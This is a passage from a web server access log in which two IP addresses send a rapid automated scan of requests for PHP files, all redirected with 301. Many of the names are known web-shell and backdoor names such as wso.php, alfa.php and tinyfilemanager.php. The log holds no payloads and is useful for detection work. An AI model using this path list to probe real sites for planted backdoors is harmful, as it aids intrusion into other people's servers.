6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:20:37 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:37 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:37 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:38 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:38 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:39 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:39 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:20:39 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:39 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:40 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:40 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:40 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:40 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:40 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:41 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:41 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like 